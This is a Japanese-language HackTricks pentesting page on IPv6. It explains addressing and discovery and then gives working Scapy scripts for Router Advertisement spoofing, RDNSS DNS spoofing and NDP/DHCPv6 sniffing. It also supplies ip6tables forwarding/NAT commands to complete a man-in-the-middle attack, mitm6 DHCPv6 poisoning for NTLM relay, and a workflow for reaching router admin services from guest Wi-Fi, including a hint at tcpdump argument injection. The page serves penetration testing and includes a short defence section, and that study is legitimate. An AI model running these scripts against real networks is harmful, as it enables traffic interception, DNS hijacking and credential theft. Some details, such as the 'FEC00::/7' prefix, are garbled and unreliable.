Pentesting IPv6
Reading time: 20 minutes
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
IPv6 基本理論
ネットワーク
IPv6 アドレスは、ネットワークの組織化とデバイスの相互作用を強化するように構造化されています。IPv6 アドレスは次のように分かれています:
- ネットワークプレフィックス:最初の 48 ビットで、ネットワークセグメントを決定します。
- サブネット ID:次の 16 ビットで、ネットワーク内の特定のサブネットを定義するために使用されます。
- インターフェース識別子:最後の 64 ビットで、サブネット内のデバイスを一意に識別します。
IPv6 は IPv4 に見られる ARP プロトコルを省略していますが、2 つの主要なメッセージを持つ ICMPv6 を導入しています:
- 隣接要求 (NS):アドレス解決のためのマルチキャストメッセージ。
- 隣接広告 (NA):NS へのユニキャスト応答または自発的な通知。
IPv6 には特別なアドレスタイプも含まれています:
- ループバックアドレス (
::1
):IPv4 の127.0.0.1
に相当し、ホスト内の内部通信に使用されます。 - リンクローカルアドレス (
FE80::/10
):ローカルネットワーク活動のためのもので、インターネットルーティングには使用されません。同じローカルネットワーク上のデバイスは、この範囲を使用して互いに発見できます。
ネットワークコマンドにおける IPv6 の実用的な使用法
IPv6 ネットワークと対話するために、さまざまなコマンドを使用できます:
- リンクローカルアドレスの Ping:
ping6
を使用してローカルデバイスの存在を確認します。 - 隣接発見:
ip neigh
を使用してリンク層で発見されたデバイスを表示します。 - alive6:同じネットワーク上のデバイスを発見するための代替ツールです。
以下はコマンドの例です:
ping6 –I eth0 -c 5 ff02::1 > /dev/null 2>&1
ip neigh | grep ^fe80
# Alternatively, use alive6 for neighbor discovery
alive6 eth0
IPv6アドレスは、ローカル通信のためにデバイスのMACアドレスから導出できます。以下は、既知のMACアドレスからリンクローカルIPv6アドレスを導出するための簡略ガイドと、IPv6アドレスの種類およびネットワーク内のIPv6アドレスを発見する方法の簡単な概要です。
MACアドレスからリンクローカルIPv6を導出する
MACアドレス 12:34:56:78:9a:bc
が与えられた場合、リンクローカルIPv6アドレスは次のように構築できます。
- MACをIPv6形式に変換:
1234:5678:9abc
fe80::
を前に付け、中間にfffe
を挿入:fe80::1234:56ff:fe78:9abc
- 左から7ビットを反転させ、
1234
を1034
に変更:fe80::1034:56ff:fe78:9abc
IPv6アドレスの種類
- ユニークローカルアドレス (ULA): ローカル通信用で、公共インターネットのルーティングには使用されません。プレフィックス:
FEC00::/7
- マルチキャストアドレス: 1対多の通信用。マルチキャストグループ内のすべてのインターフェースに配信されます。プレフィックス:
FF00::/8
- エニキャストアドレス: 1対最寄りの通信用。ルーティングプロトコルに従って最も近いインターフェースに送信されます。**
2000::/3
**のグローバルユニキャスト範囲の一部です。
アドレスプレフィックス
- fe80::/10: リンクローカルアドレス(169.254.x.xに似ています)
- fc00::/7: ユニークローカルユニキャスト(プライベートIPv4範囲の10.x.x.x、172.16.x.x、192.168.x.xに似ています)
- 2000::/3: グローバルユニキャスト
- ff02::1: マルチキャストすべてのノード
- ff02::2: マルチキャストルーターノード
ネットワーク内のIPv6アドレスを発見する方法
方法1: リンクローカルアドレスを使用
- ネットワーク内のデバイスのMACアドレスを取得します。
- MACアドレスからリンクローカルIPv6アドレスを導出します。
方法2: マルチキャストを使用
- マルチキャストアドレス
ff02::1
にpingを送信して、ローカルネットワーク上のIPv6アドレスを発見します。
service ufw stop # Stop the firewall
ping6 -I <IFACE> ff02::1 # Send a ping to multicast address
ip -6 neigh # Display the neighbor table
IPv6 Man-in-the-Middle (MitM) 攻撃
IPv6 ネットワークで MitM 攻撃を実行するためのいくつかの技術が存在します。例えば:
- ICMPv6 隣接またはルーター広告のスプーフィング。
- ICMPv6 リダイレクトまたは「パケットが大きすぎます」メッセージを使用してルーティングを操作する。
- モバイル IPv6 を攻撃する(通常、IPSec を無効にする必要があります)。
- 悪意のある DHCPv6 サーバーを設定する。
eild における IPv6 アドレスの特定
サブドメインの探索
IPv6 アドレスに関連する可能性のあるサブドメインを見つける方法は、検索エンジンを活用することです。例えば、ipv6.*
のようなクエリパターンを使用することが効果的です。具体的には、次の検索コマンドを Google で使用できます:
site:ipv6./
DNSクエリの利用
IPv6アドレスを特定するために、特定のDNSレコードタイプをクエリできます:
- AXFR: 完全なゾーン転送をリクエストし、広範囲のDNSレコードを明らかにする可能性があります。
- AAAA: IPv6アドレスを直接探します。
- ANY: 利用可能なすべてのDNSレコードを返す広範なクエリです。
Ping6によるプロービング
組織に関連するIPv6アドレスを特定した後、ping6
ユーティリティを使用してプロービングできます。このツールは、特定されたIPv6アドレスの応答性を評価するのに役立ち、隣接するIPv6デバイスを発見するのにも役立つかもしれません。
IPv6ローカルネットワーク攻撃技術
以下のセクションでは、同じ/64セグメント内で実行できる実用的なレイヤー2のIPv6攻撃について説明します。以下に示すすべてのパケットはリンクローカルであり、ローカルスイッチを通じてのみ移動するため、ほとんどの環境で非常にステルス性があります。
安定したラボのためのシステム調整
IPv6トラフィックで遊ぶ前に、自分のテストによって毒されないようにボックスを強化し、大量のパケット注入/スニッフィング中に最高のパフォーマンスを得ることをお勧めします。
# Enable promiscuous mode to capture all frames
sudo ip link set dev eth0 promisc on
# Ignore rogue Router Advertisements & Redirects coming from the segment
sudo sysctl -w net.ipv6.conf.all.accept_ra=0
sudo sysctl -w net.ipv6.conf.all.accept_redirects=0
# Increase fd / backlog limits when generating lots of traffic
sudo sysctl -w fs.file-max=100000
sudo sysctl -w net.core.somaxconn=65535
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
パッシブNDPおよびDHCPv6スニッフィング
すべてのIPv6ホストは自動的に複数のマルチキャストグループ(ff02::1
、ff02::2
、…)に参加し、SLAAC/NDPのためにICMPv6を使用するため、パケットを1つも送信せずに全体のセグメントをマッピングできます。次のPython/Scapyのワンライナーは、最も興味深いL2メッセージをリッスンし、誰が誰であるかの色付きのタイムスタンプ付きログを出力します:
#!/usr/bin/env python3
from scapy.all import *
from scapy.layers.dhcp6 import *
from datetime import datetime
from colorama import Fore, Style, init
import argparse
init(autoreset=True)
# Human-readable names for protocols we care about
DHCP6_TYPES = {
DHCP6_Solicit: 'Solicit',
DHCP6_Advertise: 'Advertise',
DHCP6_Request: 'Request',
DHCP6_Reply: 'Reply',
DHCP6_Renew: 'Renew',
DHCP6_Rebind: 'Rebind',
DHCP6_RelayForward:'Relay-Forward',
DHCP6_RelayReply: 'Relay-Reply'
}
ICMP6_TYPES = {
ICMPv6ND_RS: ('Router Solicitation', Fore.CYAN),
ICMPv6ND_RA: ('Router Advertisement', Fore.GREEN),
ICMPv6ND_NS: ('Neighbor Solicitation',Fore.BLUE),
ICMPv6ND_NA: ('Neighbor Advertisement',Fore.MAGENTA),
ICMPv6ND_Redirect:('Redirect', Fore.LIGHTRED_EX),
ICMPv6MLReport: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLReport2: ('MLD Report', Fore.LIGHTCYAN_EX),
ICMPv6MLDone: ('MLD Done', Fore.LIGHTCYAN_EX),
ICMPv6EchoRequest:('Echo Request', Fore.LIGHTBLACK_EX),
ICMPv6EchoReply: ('Echo Reply', Fore.LIGHTBLACK_EX)
}
def handler(pkt):
eth_src = pkt[Ether].src if Ether in pkt else '?'
eth_dst = pkt[Ether].dst if Ether in pkt else '?'
ip6_src = pkt[IPv6].src if IPv6 in pkt else '?'
ip6_dst = pkt[IPv6].dst if IPv6 in pkt else '?'
# Identify protocol family first
for proto,(desc,color) in ICMP6_TYPES.items():
if proto in pkt:
break
else:
if UDP in pkt and pkt[UDP].dport == 547: # DHCPv6 server port
for dhcp_t,name in DHCP6_TYPES.items():
if dhcp_t in pkt:
desc = 'DHCPv6 – '+name; color = Fore.YELLOW; break
else:
return # not a DHCPv6 message we track
else:
return # not interesting
print(color + f"[{datetime.now().strftime('%H:%M:%S')}] {desc}")
print(f" MAC {eth_src} -> {eth_dst}")
print(f" IPv6 {ip6_src} -> {ip6_dst}")
print('-'*60)
if __name__ == '__main__':
argp = argparse.ArgumentParser(description='IPv6 NDP & DHCPv6 sniffer')
argp.add_argument('-i','--interface',required=True,help='Interface to sniff')
argp.add_argument('-t','--time',type=int,default=0,help='Duration (0 = infinite)')
a = argp.parse_args()
sniff(iface=a.interface,prn=handler,timeout=a.time or None,store=0)
結果: 数秒以内に完全な link-local topology (MAC ⇄ IPv6) を構築し、アクティブスキャンに依存するIPS/IDSシステムをトリガーすることなく行います。
ルーター広告 (RA) スプーフィング
IPv6ホストはデフォルトゲートウェイの発見のために ICMPv6 Router Advertisements に依存しています。 正当なルーターよりも 頻繁に 偽のRAを注入すると、デバイスは静かにあなたをゲートウェイとして切り替えます。
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
p.add_argument('-i','--interface',required=True)
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
p.add_argument('-l','--lifetime',type=int,default=1800,help='Router lifetime')
p.add_argument('--interval',type=int,default=5,help='Seconds between RAs')
p.add_argument('--revert',action='store_true',help='Send lifetime=0 to undo attack')
args = p.parse_args()
lifetime = 0 if args.revert else args.lifetime
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=lifetime, prf=0x1)/ # High preference
ICMPv6NDOptSrcLLAddr(lladdr=args.mac))
send(ra,iface=args.interface,loop=1,inter=args.interval)
実際にトラフィックを転送するためには、レースに勝った後:
sudo sysctl -w net.ipv6.conf.all.forwarding=1
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
ルーター広告フラグ (M/O) とデフォルトルーターの優先度 (Prf)
フラグ | 意味 | クライアントの動作への影響 |
---|---|---|
M (管理アドレス構成) | 1 に設定されている場合、ホストは DHCPv6 を使用して IPv6 アドレスを取得しなければなりません。 | アドレス全体が DHCPv6 から取得されるため、mitm6 スタイルのポイズニングに最適です。 |
O (その他の構成) | 1 に設定されている場合、ホストは DHCPv6 を使用して その他 の情報 (DNS, NTP, …) を取得する必要があります。 | アドレスは SLAAC 経由ですが、DNS は DHCPv6 でハイジャック可能です。 |
M=0 / O=0 | 純粋な SLAAC ネットワーク。 | RA / RDNSS トリックのみが可能で、クライアントから DHCPv6 は送信されません。 |
M=1 / O=1 | 混合環境。 | DHCPv6 と SLAAC の両方が使用され、スプーフィングの表面が最も大きくなります。 |
ペンテスト中に、正当な RA を一度確認し、どのベクターが実行可能かを判断できます:
sudo tcpdump -vvv -i eth0 'icmp6 && ip6[40] == 134' # capture Router Advertisements
ダンプ内の flags [M,O]
フィールドを探してください – 推測は不要です。
RA ヘッダー内の Prf (ルーターの優先度) フィールドは、複数の ゲートウェイが存在する場合に、あなたの不正ルーターがどれだけ魅力的に見えるかを制御します:
Prf 値 | バイナリ | 意味 |
---|---|---|
高 | 10 | クライアントはこのルーターを 中/低 のものより好みます |
中 (デフォルト) | 01 | ほぼすべての正当なデバイスによって使用されます |
低 | 00 | より良いルーターが存在しない場合にのみ選択されます |
Scapy でパケットを生成する際には、上記のように prf
パラメータを通じて設定できます (prf=0x1
→ 高)。 高い Prf、短い間隔、および ゼロ以外のライフタイム を組み合わせることで、あなたの不正ゲートウェイは非常に安定します。
RA を介した RDNSS (DNS) スプーフィング
RFC 8106 は、RA 内に 再帰的 DNS サーバー (RDNSS) オプションを追加することを許可します。 現代の OS (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) は自動的にこれを信頼します:
#!/usr/bin/env python3
from scapy.all import *
import argparse
p = argparse.ArgumentParser()
P = p.add_argument
P('-i','--interface',required=True)
P('--llip',required=True)
P('--dns',required=True,help='Fake DNS IPv6')
P('--lifetime',type=int,default=600)
P('--interval',type=int,default=5)
args = p.parse_args()
ra = (IPv6(src=args.llip,dst='ff02::1',hlim=255)/
ICMPv6ND_RA(routerlifetime=0)/
ICMPv6NDOptRDNSS(dns=[args.dns],lifetime=args.lifetime))
send(ra,iface=args.interface,loop=1,inter=args.interval)
クライアントは、指定されたライフタイムの間、あなたのDNSをリゾルバリストの先頭に追加し、値が期限切れになるか、lifetime=0
のリバートを送信するまで完全なDNSハイジャックを許可します。
DHCPv6 DNS スプーフィング (mitm6)
SLAACの代わりに、WindowsネットワークはDNSのためにステートレスDHCPv6に依存することがよくあります。mitm6は、Solicit
メッセージに自動的にAdvertise → Replyフローで応答し、あなたのリンクローカルアドレスを300秒間DNSとして割り当てます。これにより以下が可能になります:
- NTLMリレー攻撃 (WPAD + DNSハイジャック)
- ルーターに触れずに内部名前解決を傍受する
典型的な使用法:
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
防御
- RAガード / DHCPv6ガード / NDインスペクション を管理スイッチで使用。
- 正当なルーターのMACのみがRAを送信できるポートACL。
- 不安定な高レートのRA や突然の RDNSSの変更 を監視。
- エンドポイントでのIPv6の無効化は一時的な回避策であり、現代のサービスを破壊し、盲点を隠すことが多いため、代わりにL2フィルタリングを推奨。
ゲスト/パブリックSSIDでのNDPルーター発見と管理サービスの露出
多くの消費者ルーターは、すべてのインターフェースで管理デーモン(HTTP(S)、SSH/Telnet、TR-069など)を公開しています。一部の展開では、「ゲスト/パブリック」SSIDがWAN/コアにブリッジされ、IPv6専用です。ルーターのIPv6が毎回のブートで変更されても、NDP/ICMPv6を使用して確実に学習し、ゲストSSIDから管理プレーンに直接接続できます。
ゲスト/パブリックSSIDに接続されたクライアントからの典型的なワークフロー:
- ICMPv6ルーターソリシテーションを使用して、すべてのルーターのマルチキャスト
ff02::2
にルーターを発見し、ルーターアドバタイズメント(RA)をキャプチャ:
# Listen for Router Advertisements (ICMPv6 type 134)
sudo tcpdump -vvv -i <IFACE> 'icmp6 and ip6[40]==134'
# Provoke an RA by sending a Router Solicitation to ff02::2
python3 - <<'PY'
from scapy.all import *
send(IPv6(dst='ff02::2')/ICMPv6ND_RS(), iface='<IFACE>')
PY
RAはルーターのリンクローカルおよびしばしばグローバルアドレス/プレフィックスを明らかにします。リンクローカルのみが知られている場合、接続はゾーンインデックスを指定する必要があることを忘れないでください。例:ssh -6 admin@[fe80::1%wlan0]
。
代替:利用可能な場合はndisc6スイートを使用します:
# rdisc6 sends RS and prints RAs in a friendly way
rdisc6 <IFACE>
- ゲストSSIDからIPv6経由で公開されているサービスにアクセスする:
# SSH/Telnet example (replace with discovered address)
ssh -6 admin@[2001:db8:abcd::1]
# Web UI over IPv6
curl -g -6 -k 'http://[2001:db8:abcd::1]/'
# Fast IPv6 service sweep
nmap -6 -sS -Pn -p 22,23,80,443,7547 [2001:db8:abcd::1]
- 管理シェルがラッパー(例:tcpdump)を介してパケットキャプチャツールを提供する場合、追加のtcpdumpフラグ(
-G/-W/-z
など)を渡すことを可能にする引数/ファイル名のインジェクションを確認し、ポストローテートコマンドの実行を達成します。参照してください:
防御/メモ:
- 管理をゲスト/パブリックブリッジにバインドしないでください;SSIDブリッジにIPv6ファイアウォールを適用します。
- 可能な場合、ゲストセグメントでNDP/RS/RAのレート制限とフィルタリングを行います。
- 到達可能でなければならないサービスについては、authN/MFAと強力なレート制限を強制します。
参考文献
- Legless – IPv6 Penetration Testing
- mitm6
- RFC 8106 – IPv6 ND DNS Configuration
- http://www.firewall.cx/networking-topics/protocols/877-ipv6-subnetting-how-to-subnet-ipv6.html
- https://www.sans.org/reading-room/whitepapers/detection/complete-guide-ipv6-attack-defense-33904
- Practical Guide to IPv6 Attacks in a Local Network
- FiberGateway GR241AG – Full Exploit Chain
tip
AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。